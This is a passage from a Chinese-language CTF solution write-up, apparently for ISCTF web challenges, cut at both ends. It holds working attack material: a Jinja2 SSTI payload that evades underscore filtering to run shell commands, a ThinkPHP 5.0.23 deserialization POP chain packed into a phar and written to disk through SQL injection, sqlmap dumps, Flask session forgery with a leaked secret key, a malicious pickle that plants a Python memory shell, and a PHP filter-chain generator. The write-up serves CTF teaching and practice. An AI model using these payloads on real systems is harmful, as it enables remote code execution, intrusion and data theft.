data=unserialize(key1);
throw new Exception('开局一根棍，装备全靠打。');
```

### ezSSTI

出题人： fpclose

解题过程：

题目已经提示是ssti注入题。进入环境之后，通过工具wappalyzer可以直接看到是基于python的flask的ssti注入题。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZWJlMmIyZTQyYWY0NGYxNGUxMjcxMWY3ZWE2NjM5Y2NfRWg5R2JjZkdpbUlNaXIwdHpZZloxeHh5WWZ0cDJ4WUNfVG9rZW46WlBNSWJ3dTBEb2RVTlF4NlN6Z2NOcEVVblNoXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

那么开始尝试写入测试语句

```Python
{{7*7}}
```

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NDkzMjI0ZjEyMGQ1MTE5ODI4ZWM5Nzk4ZGUyOWU3OGJfNXlkanhrVGtDcnRsTE5zNHh2aUl4YjNmMnZrTFNwUHpfVG9rZW46QjJoa2JIaFh5b3VLUnJ4Vk5WNmMyUk55blJkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

存在ssti漏洞。接着测试

```Python
{{''.__class__.__base__()}}
```

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZjQ1MDk1YzgwMjYxYWUzZWI0YzlmNzM3YmE3NzcwMDRfcDBnSlJtTGFJU0ZNZGJrYkNTSXRXRjBwU09mMk5vMVpfVG9rZW46UzhxU2JOcWszb1Rsa1F4Z0VXWGNOM2NCblNjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

发现存在waf!，那么可以fuzz跑一下字典看看哪些关键的字被waf了。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NzViM2FkMWU0MzMwMTMxYzFhYjhiYzg5ODA3ZWI3YWRfdmF0aXBNQlJPaTRPUTRMaFFaWk9YVVFKU0Y5Ykw0NVJfVG9rZW46VU5RS2JpaGdPb0tNWkZ4UWtDNmNRRWp3bnVkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

可以发现没有禁用太多的东西，还是比较人性的。只过滤了:`_`和`[`这两个符号那么我们的payload也要做出改变

```Python
{%print (cycler.next|attr(("%c"%95)*2+'globals'+("%c"%95)*2)|attr(("%c"%95)*2+'getitem'+("%c"%95)*2)(("%c"%95)*2+'builtins'+("%c"%95)*2)|attr(("%c"%95)*2+'getitem'+("%c"%95)*2)(("%c"%95)*2+'import'+("%c"%95)*2))('os').popen('whoami').read()%}
```

### 小蓝鲨的书店

出题人：bthcls

解题过程：

参考改编自2023年强网杯thinkthop，考察sql注入into dumpfile写二进制文件和thinkphpv5.0.23pop链，file_get_contents伪协议phar利用，注意写文件要利用脚本重新生成二进制文件内容，绕过签名验证。题目没有过多waf，重点在考察into dumpfile写二进制文件和phar签名特性，我做题比较少，没有看见网上有考过，如果有师傅看到过类似的考点，可以告诉我，同时对thinkshop印象很深，因此出了这一道题。

出现非预期很抱歉，没有认真检查，可以任意文件读取根目录下的start.sh，flag.sh，得到flag路径，再去读flag，不排除有其他非预期，我实在是太菜了，如果有，请大师傅告诉我，我改正

题目首页如下

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZjM4MTNhODYwYzJiOGNmZDAxYzNiNTFmOGIwYzg3ZGZfNlhZTzNINzBkdkVzRmVpRGxKT3AwbFh4cHE2b1hoYU9fVG9rZW46WTh0MWJsYUhCb2laMUd4dThCVWNNMmtLbmpkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

dirsearch扫描可得到源码www.zip

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MzI0YThkNWZlNTg3Y2FmMWQzNTcwZjZhNjBkMjZlYzFfclhxd3huTWhLbmd6NEJMaEM2STB0eVJsbWZMTGd5d29fVG9rZW46S0R6amJXNzVJbzdFNEd4NnJ2VGMxUklWbnh3XzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

分析源码

sql注入，无waf，可拼接

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=M2U1NGI5OGJjM2UwNTBlY2M2NTI5NDA5NTcwNWM0MDhfVzB0TnJCMzBpVVJ4V3pBQWhRUjVvbVRvRkozc3FnS0VfVG9rZW46UXBSbWJrRW8yb0tFVnR4YmxFU2NhMk5zbm1jXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

在首页的这个功能点

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZTQ3YmJiZDExZmJlODVhZTAxMjU1MzhlMGM1MWJjNjRfUmRkM0NDNmt2d2ZoT2wzdjhFamc0VUM2aDRNRjFFQ0lfVG9rZW46T1VNeGJLVHNsb1lBcFh4dWtYUmNiWUhwbnBnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

试试查询功能，测试书籍ID为1

sqlmap测试注入

```Plain
python sqlmap.py -u "http://172.16.17.201:36001/public/index.php/index/index/viewbook.html?bookId=1" --dbs --batch --flush
```

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MTVlMTQwZTcyZjgwNTNhNDg4M2JjYzczMGEzZTgzYzFfRXd2UjBibklBWjY5YXk4WHlNbHNhZVhHa3A1NVh6VmxfVG9rZW46VERvcWJFNjRhb2I1VlZ4b1VVaGNaVTdIblRjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

```SQL
python sqlmap.py -u "http://172.16.17.201:36001/public/index.php/index/index/viewbook.html?bookId=1" -D xitif_sql -T books --dump-all --batch
```

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YWFlMTBmZmQyNTFiNjVmMDdmMTM1Mjc5NjM1MWRlMjNfODJ1aW5pSVA0d282bnVzUWZhc05xdGVCVDU5V0hkUWNfVG9rZW46Ujl1UGJ5RFdSb3YxenR4ckFFcGM2SktTblFjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

发现没有flag，尝试sql注入其他利用方式，发现可写，但是目录在/var/lib/mysql-files下，网站根目录在/var/www/html下

```SQL
0 union select 1,@@global.secure_file_priv,2,3
```

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YTM3OTVmYWNmNDZjOWU4YzRiYjllMDQwM2JjZTkxOThfYlhZOG8yTkJhNktWWjBScENveHh1alcxcUJrYlFBMVZfVG9rZW46T1kyamJzU081b2RqTHd4NlZLQ2NXa1Z4bldnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

继续看源码，可以发现是thinkphpv5.0.23的框架，url路径访问错误也可以得到这个信息

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YzMxZWNhZDlhYzVhNjdlMzQ4NDIxNDBlM2MzMzQ3ODVfWDd1V3p0WkJxRks5eEVrMmtzaVg0TUFwbElLZ2FsT29fVG9rZW46TzBQNWJuTUwzb2dpaWZ4TkpYdWNFaEJ5bnRnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZGU3ODE0MzEzNzM2YjEwOGQ3ZDM4ZWFiN2Y4MGYxNTFfem1zYXBtQ1NaMjcyWEd2WnA0aVlIN1ZjcUYxTmFoREhfVG9rZW46QXoySWJLWkhCb2d1eFp4MzZ1ZmM1MThXbkdoXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

网上有很多可以打的pop链

https://www.freebuf.com/vuls/317886.html

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NWQyZGI0NmI0NGIwMmU2NDU1ZmZkNjYwZjVmNmE1MmFfNEJuSkZGUnJ3UmluOFBEM3ZiTTNoWlBhb25UMkxpNE9fVG9rZW46S3VCYWJNMzhHb2ZoeVZ4cVZBVWNkY3lzbnFlXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

那么再去找利用点

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NDU5Mzk4MGE5MTE3MWQ2MjI1NTRiYTFlNjM3NTEwZThfZUIwYnVpY3FCOWFPM2FrWE1kbjc0T2JnVXlSQzh4ZXJfVG9rZW46Q0JjeGIyU2RHb1pESkh4YndpRmNnN0VzbkdmXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

虽然没有unserialize函数但是找到一个file_get_contents且参数可控

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NWU1NGMyMjk2ZTI4YmNkOGY5MTc0NjYyYWVmMTBmZDZfWUd4cnhlRnNQWmxVWFMzcFZmYktKR3pxeDN0VmFESUdfVG9rZW46T0o0WWJ2Y2t2bzUzbkR4bnFFTGM3bkpjbnRnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZDE5OTU3ZjQyZTk5Mjg1NjI2YWI3Njg2MjM3YTYyMjZfdElnNTMzVjFjR0J6NXQ0bUl3Nkd3czdqOTFKRDdUSmlfVG9rZW46SFhCNGJLQVFyb2tpc3h4Wk9UZmN5S2Rmbm1jXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

功能点在这，捐书提交表单会带隐藏的这个图片参数

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=M2Q0NzU2OGZmNTdhODRmMjExMjJmY2RhZTJmMjk5YzZfNDFsS3RWbDJIcTA1RmRHNzlzZWJuWVByeDdVYlZYTHRfVG9rZW46UTJFVGI0dDhkb09ZYXd4YmlwOGNjOU1obkNmXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

生成phar文件，php脚本如下

```SQL
<?php
namespace think\process\pipes{
    use think\model\Pivot;
    ini_set('display_errors',1);
    class Windows{
        private $files = [];
        public function __construct($function,$parameter)
        {
            $this->files = [new Pivot($function,$parameter)];
        }
    }
    $aaa = new Windows('system','whoami');
}
namespace think{
    abstract class Model
    {}
}
namespace think\model{
    use think\Model;
    use think\console\Output;
    class Pivot extends Model
    {
        protected $append = [];
        protected $error;
        public $parent;
        public function __construct($function,$parameter)
        {
            $this->append['jelly'] = 'getError';
            $this->error = new relation\BelongsTo($function,$parameter);
            $this->parent = new Output($function,$parameter);
        }
    }
    abstract class Relation
    {}
}
namespace think\model\relation{
    use think\db\Query;
    use think\model\Relation;
    abstract class OneToOne extends Relation
    {}
    class BelongsTo extends OneToOne
    {
        protected $selfRelation;
        protected $query;
        protected $bindAttr = [];
        public function __construct($function,$parameter)
        {
            $this->selfRelation = false;
            $this->query = new Query($function,$parameter);
            $this->bindAttr = [''];
        }
    }
}
namespace think\db{
    use think\console\Output;
    class Query
    {
        protected $model;
        public function __construct($function,$parameter)
        {
            $this->model = new Output($function,$parameter);
        }
    }
}
namespace think\console{
    use think\session\driver\Memcache;
    class Output
    {
        protected $styles = [];
        private $handle;
        public function __construct($function,$parameter)
        {
            $this->styles = ['getAttr'];
            $this->handle = new Memcache($function,$parameter);
        }
    }
}
namespace think\session\driver{
    use think\cache\driver\Memcached;
    class Memcache
    {
        protected $handler = null;
        protected $config  = [
            'expire'       => '',
            'session_name' => '',
        ];
        public function __construct($function,$parameter)
        {
            $this->handler = new Memcached($function,$parameter);
        }
    }
}
namespace think\cache\driver{
    use think\Request;
    class Memcached
    {
        protected $handler;
        protected $options = [];
        protected $tag;
        public function __construct($function,$parameter)
        {
            // pop链中需要prefix存在，否则报错
            $this->options = ['prefix'   => 'jelly/'];
            $this->tag = true;
            $this->handler = new Request($function,$parameter);
        }
    }
}
namespace think{
    class Request
    {
        protected $get     = [];
        protected $filter;
        public function __construct($function,$parameter)
        {
            $this->filter = $function;
            $this->get = ["jelly"=>$parameter];
        }
    }
}

namespace aaaaa{
    $bthcls = new \phar('tpsql.phar', 0);
    $bthcls->startBuffering();
    // 这里需要确保 $aaa 是一个有效的变量，并且包含了要设置的元数据
    $bthcls->setMetadata($aaa);
    $bthcls->setStub("<?php __HALT_COMPILER();?>");
    $bthcls->addFromString("test.txt", "test");
    $bthcls->stopBuffering();
}
```

修改php.ini配置才能成功生成phar文件，改成Off且前面不要有;注释

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NjYxYjFlMGU4MjU3OGEzNTYwMWI2YTBlZDU2OGFjNjNfZnpTTXB4b0hxYVVzNEhvS0U3U2wyWHl6V0thMVZPeElfVG9rZW46UjlBaWI4QWo2b0NKb1l4a3U0dmNydGs0bmlmXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

生成成功

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZGJkYmUzMzNjN2ZmMmViMWVmNjE1NzhjODFlYThhYjVfU2hZN1czSEpKQ0JjQWpqVzRRck9Rbmw1ekZHNElFbTNfVG9rZW46UTlRQmJmaGpab3JGWkd4aXFHRWNsbmRSblNmXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

本地测试mysql语句可知道写入会多生成额外字符，导致phar签名失效，无法执行成功

先hex编码

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NTgxOGY4MGNjYzk4ODVlZjI3YjRlN2JjN2I5ZDY1YzNfR2VnaDRnU1F1bWdsVlFJVmtkc3FTVkdnWTl4dktZMjFfVG9rZW46U1RXR2I3YzNIb1lEbmh4SEVHamNLYjk4bnpoXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

mysql写入测试

```SQL
SELECT * FROM `books` where id = 0 union select 0x0,0x0,0x0,0x上面编码的内容，在这就省略了 into dumpfile "E:\\phpstudy_pro\\WWW\\study\\phar\\phar\\tpsql756_test.phar"
```

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NWY4MmQyNDI5YmMxZDgyMDk5NWM1ZTE5ZDRjNDRkZTRfaUZUQU5qcDBlNjBpektocDIwaTFRdzJCQUF5Wmx0d0RfVG9rZW46RVU3UGJmdWJCb1BDdHF4ZUZnVWNaT0xBbm9lXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

来对比下，两个文件的内容，可以发现最前方多了0x0的字符

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MTlkNzllNjBhNzkxM2M2ODA2ODRiYWE4NzVmOWQxMmZfTGh6QThYN09USWg2RFFwa0F0YjlpUW5aMngzcW8zb1lfVG9rZW46SU1SemJDUnBNb0NVdGN4c3k1Y2NMSTZhbmZkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

phar文件的结构

```SQL
1、Stub//Phar文件头
2、manifest//压缩文件信息
3、contents//压缩文件内容
4、signature//签名
```

对前面部分的数据进行sha1计算得到签名值，替换生成新的文件内容再去写入就可以绕过

```SQL
from hashlib import sha1

#写入后发生改变的phar
with open('E:\\phpstudy_pro\\WWW\\study\\phar\\phar\\tpsql44.phar', 'rb') as file1:
    f1 = file1.read() 

s = f1[:-28] # 获取要签名的数据
h = f1[-8:] # 获取签名类型以及GBMB标识

#原phar
with open('E:\\phpstudy_pro\\WWW\\study\\phar\\phar\\tpsql4.phar', 'rb') as file2:
    f2 = file2.read() 

data = f2[:-28] # 获取要签名的数据
newf = data + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)

with open('E:\\phpstudy_pro\\WWW\\study\\phar\\phar\\tpsql444.phar', 'wb') as file3:
    f3 = file3.write(newf) 
```

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZjZmYTBiZGUyOWI4MmRhNmE1Nzg4Yjg3Mjk4YTBjYzVfQWdGR3dZeGJjU0pkM1RJOHJWQ2FibGRxR21KSHpSRFZfVG9rZW46STBkeWJrQnNXb1A0UW14NUJ6OWNjcHhHbkNnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

hex编码写入，同之前操作，sql注入payload如下

```SQL
0 union select 0x0,0x0,0x0,0x3c3f706870205f5f48414c545f434f4d50494c455228293b203f3e0d0a320500000100000011000000010000000000fc0400004f3a32373a227468696e6b5c70726f636573735c70697065735c57696e646f7773223a313a7b733a33343a22007468696e6b5c70726f636573735c70697065735c57696e646f77730066696c6573223b613a313a7b693a303b4f3a31373a227468696e6b5c6d6f64656c5c5069766f74223a333a7b733a393a22002a00617070656e64223b613a313a7b733a353a226a656c6c79223b733a383a226765744572726f72223b7d733a383a22002a006572726f72223b4f3a33303a227468696e6b5c6d6f64656c5c72656c6174696f6e5c42656c6f6e6773546f223a333a7b733a31353a22002a0073656c6652656c6174696f6e223b623a303b733a383a22002a007175657279223b4f3a31343a227468696e6b5c64625c5175657279223a313a7b733a383a22002a006d6f64656c223b4f3a32303a227468696e6b5c636f6e736f6c655c4f7574707574223a323a7b733a393a22002a007374796c6573223b613a313a7b693a303b733a373a2267657441747472223b7d733a32383a22007468696e6b5c636f6e736f6c655c4f75747075740068616e646c65223b4f3a32393a227468696e6b5c73657373696f6e5c6472697665725c4d656d6361636865223a323a7b733a31303a22002a0068616e646c6572223b4f3a32383a227468696e6b5c63616368655c6472697665725c4d656d636163686564223a333a7b733a31303a22002a0068616e646c6572223b4f3a31333a227468696e6b5c52657175657374223a323a7b733a363a22002a00676574223b613a313a7b733a353a226a656c6c79223b733a363a2277686f616d69223b7d733a393a22002a0066696c746572223b733a363a2273797374656d223b7d733a31303a22002a006f7074696f6e73223b613a313a7b733a363a22707265666978223b733a363a226a656c6c792f223b7d733a363a22002a00746167223b623a313b7d733a393a22002a00636f6e666967223b613a323a7b733a363a22657870697265223b733a303a22223b733a31323a2273657373696f6e5f6e616d65223b733a303a22223b7d7d7d7d733a31313a22002a0062696e6441747472223b613a313a7b693a303b733a303a22223b7d7d733a363a22706172656e74223b4f3a32303a227468696e6b5c636f6e736f6c655c4f7574707574223a323a7b733a393a22002a007374796c6573223b613a313a7b693a303b733a373a2267657441747472223b7d733a32383a22007468696e6b5c636f6e736f6c655c4f75747075740068616e646c65223b4f3a32393a227468696e6b5c73657373696f6e5c6472697665725c4d656d6361636865223a323a7b733a31303a22002a0068616e646c6572223b4f3a32383a227468696e6b5c63616368655c6472697665725c4d656d636163686564223a333a7b733a31303a22002a0068616e646c6572223b4f3a31333a227468696e6b5c52657175657374223a323a7b733a363a22002a00676574223b613a313a7b733a353a226a656c6c79223b733a363a2277686f616d69223b7d733a393a22002a0066696c746572223b733a363a2273797374656d223b7d733a31303a22002a006f7074696f6e73223b613a313a7b733a363a22707265666978223b733a363a226a656c6c792f223b7d733a363a22002a00746167223b623a313b7d733a393a22002a00636f6e666967223b613a323a7b733a363a22657870697265223b733a303a22223b733a31323a2273657373696f6e5f6e616d65223b733a303a22223b7d7d7d7d7d7d08000000746573742e7478740400000039b83167040000000c7e7fd8b601000000000000746573747b9bee7fa591b510d73229d47eef257df9b7cc740200000047424d42 into dumpfile "/var/lib/mysql-files/exp.phar"
```

会报错，但是是正常的，实际上文件写入成功了，本地调试可以明白，报错的不是php执行查询的代码

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=M2VkMDUzZjhkMGNjNjI4MzA3YThjMTAzZThiYWNkZDZfYWFvYUJtTURYZ0xVZWpSdDZHM3QxaDRkZmVnY2hBVmFfVG9rZW46VTFWVWI5ZTFQbzFRRG54NXVPbmNyTW5CblhrXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

然后去抓捐书的包，改图片路径为phar文件路径

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MjEyZjNlNDZiYTkxYWQ4YzI0NDYzZTY4ODY0MWI0OWFfRm8xaTdYTkpQNU00d0Q0QW5kZ3hMVTRpdk5ndHlQNmVfVG9rZW46WEhWZmJjSlBUb0ppSUp4R21MSWNyTGJqbkJnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

就添加成功了

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NWJjNmEwZWQ1ODI5YTMzNGJkMzliNDI0ZmE4NTkxZTBfRzNZQ0VNQmpEVTRqY21IRUNCSWdQMmZ5QkRhQTE2MlVfVG9rZW46Rml2aWJwM09wbzlBY2Z4STVJZWNwR2R5bkVjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

查询5执行成功

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=OGJmMTYyNzVhYzcxNzI1ZmMzZTc3OTkyYjZkNmZiMzlfUWFRZVhoWlo1YVRlakRadnEwQ1RoSU9xaU03RktxUlVfVG9rZW46TlZUd2JHcE02bzVKb1B4UHBCR2NXbmM3bnZkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

同理修改poc，生成phar文件的php脚本，可执行ls、find命令来找flag，cat去读取，其他操作也可以，咋方便咋来

### 新闻系统

出题人：SunD1y

解题过程：

查看源码发现给出了secret_key，后面还有身份验证，利用给出的test账号登入后伪造session即可进入后台管理界面，利用到的工具flask_session_cookie_manager

```Bash
python flask_session_cookie_manager3.py decode -c .eJyrVipILC4uzy9KUbJSKkktLjE0NFTSUSouSSwpLQYKlRanFgH5ICovMTcVqkipFgAb-RLg.Zwu2sQ._TJQmjvgYKMiR7Bbo6pT_xbChDs -s W3l1com_isCTF
python flask_session_cookie_manager3.py encode -s W3l1com_isCTF -t "{'password': 'admin222', 'status': 'admin', 'username': 'admin'}"
```

后台管理中在add功能点有一个pickle反序列化的点

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZGI4YTUwOTQ4NmM0ZmJlNDc2Y2YxOTkyMThhZTZjNmJfU3JWT3ZhcjFUMkNpU3VoY1M3VnE4anVSOHNHWmdZdDhfVG9rZW46Qmd4dGJHbVZZb2xBc0F4TlNCU2NUSndpbnVlXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

本意是打python内存马，但本题出网可以直接弹shell（被非预期了），下面还是介绍原方法

关于python内存马可以参考https://www.cnblogs.com/gxngxngxn/p/18181936，然后用opencode的写法构造好data然后将数据发送即可

```Python
import base64     

data = b'''cbuiltins 
eval
(S"__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda  :__import__('os').popen('cat /flag').read())"  tRc__main__
News  
(S'1'  
S'1'  
tR.'''


data = base64.b64encode(data)  
print(data) 
```

因为对于环境配置的失误导致出现非预期，给师傅们道歉

### 千年樱

出题人：guoql

解题过程：

neta味最重的一集（）

其实这题本身很简单

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=Njk2ODZmMDEyMzQzYjc3MTljMTI0YThmYzY4MmY3ODNfQVh6OVFsd1o1ZWtZdEI1dnFnSGFmVml5YlZlRFR0R0xfVG9rZW46QlJDNGJXWXcwb2ZkZml4bzVkTmN6eWREbmdiXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

前半截其实非常简单，首先修改cookie得到第一个文件路径。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YTBjMGVkYTk2ZTc3NTZiYjU3ZDMwYWE5NzYwOTE5ZDRfQ1dhYUF5Undtd0kyY0M0bUFuUlpGUHlYYURpYkNlUExfVG9rZW46SG9waGJqOFozb3paWHN4T2wyeWM1RWhjbmpnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

/get_contents_qwerghjkl.php

里边就是一个经典的伪协议利用。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MTZlOTY3MDczMjkwN2U5MzBkYTA1YzFjNzc5NTgyMDBfUFZpbEFTMklTZW9SNG5OcElUWmY0c0lwVXF2cGV5bzVfVG9rZW46REkzeGI4bVlkbzNWVHd4TGlrOWN6dkdkbmplXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

name=data://text/plain,ISCTF

post传参即可。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MjdlNDBkOGY0YmE3MTZiZTQwMTc3OGJlYjhhYjY2MzNfQ0JtR3RWdmx2aWphRG5ldHN1RGxiMG1ET3QxSm1Kc3NfVG9rZW46QXpraWJESUFKbzc2cVd4SlU5M2MzejlWbk5oXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

得到第二个文件路径。

我们来看后半截。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NmNmMTg2ZTQxMTMyZmY4MjY4OGFlNzJjY2EwMGRjMDVfeG1IRVEyVmlMSjBFcHJ3RkpMTmdWT3hLajkxbEtWdWZfVG9rZW46VnZ4YWJMY2Vtb1Y0b2J4Vmp4MGNnV2RhbmNoXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

首先先看到output这个。

output=114514a

就是个简单的绕过，这个没啥，主要是降低难度，帮助大家做题。

关于上边，实际上就是个php convert的任意字符串构造链

建议阅读下边的参考链接获取相关知识点。

相关参考链接：

https://blog.csdn.net/qq_46266259/article/details/129034405

https://tttang.com/archive/1395/

我们采用使用github的库

https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

这里给出我稍微改过的脚本

```Python
file_to_use = "/var/www/html/badChar.txt"

base64_payload = "YzJGcmRYSmhJR1p2Y2lCSlUwTlVSZz09"

# generate some garbage base64
filters = "convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|"
filters += "convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|"
filters += "convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|"
filters += "convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += open('./res/'+(str(hex(ord(c)))).replace("0x","")).read() + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"
filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

with open('test.php','w') as f:
    f.write('<?php echo file_get_contents("'+final_payload+'");?>')
print(final_payload)
```

主要有几个要注意的点

第一个是脚本的使用，payload中的base64不能有等号，如果有就多套几层base64。（这里套了2层，所以脚本最后解码了2次）

第二个是注意字符的填充，我们首先需要无中生有出来一定量的数据，然后才能往里边塞我们想要的base64

而如何无中生有上边的文章写的很清楚了

convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|

即可生成一定量的数据。

因此这里填充了3次，确保有足够的数据。如果不够，会截断。

第三个就是我们的文本是有数据的，而且显然大于我们想要往里塞的base64，因此我们需要先清空这些文本。

而我们又知道，base64_decode是可以清除脏数据的（即无法被解码的数据），因此我们让他不断decode，最终就会获得空文本。

这里是我们手动尝试出来的，至少需要5层decode，或者你多套几层都OK。

这里是poc

```Plain
poc=convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CN.ISO2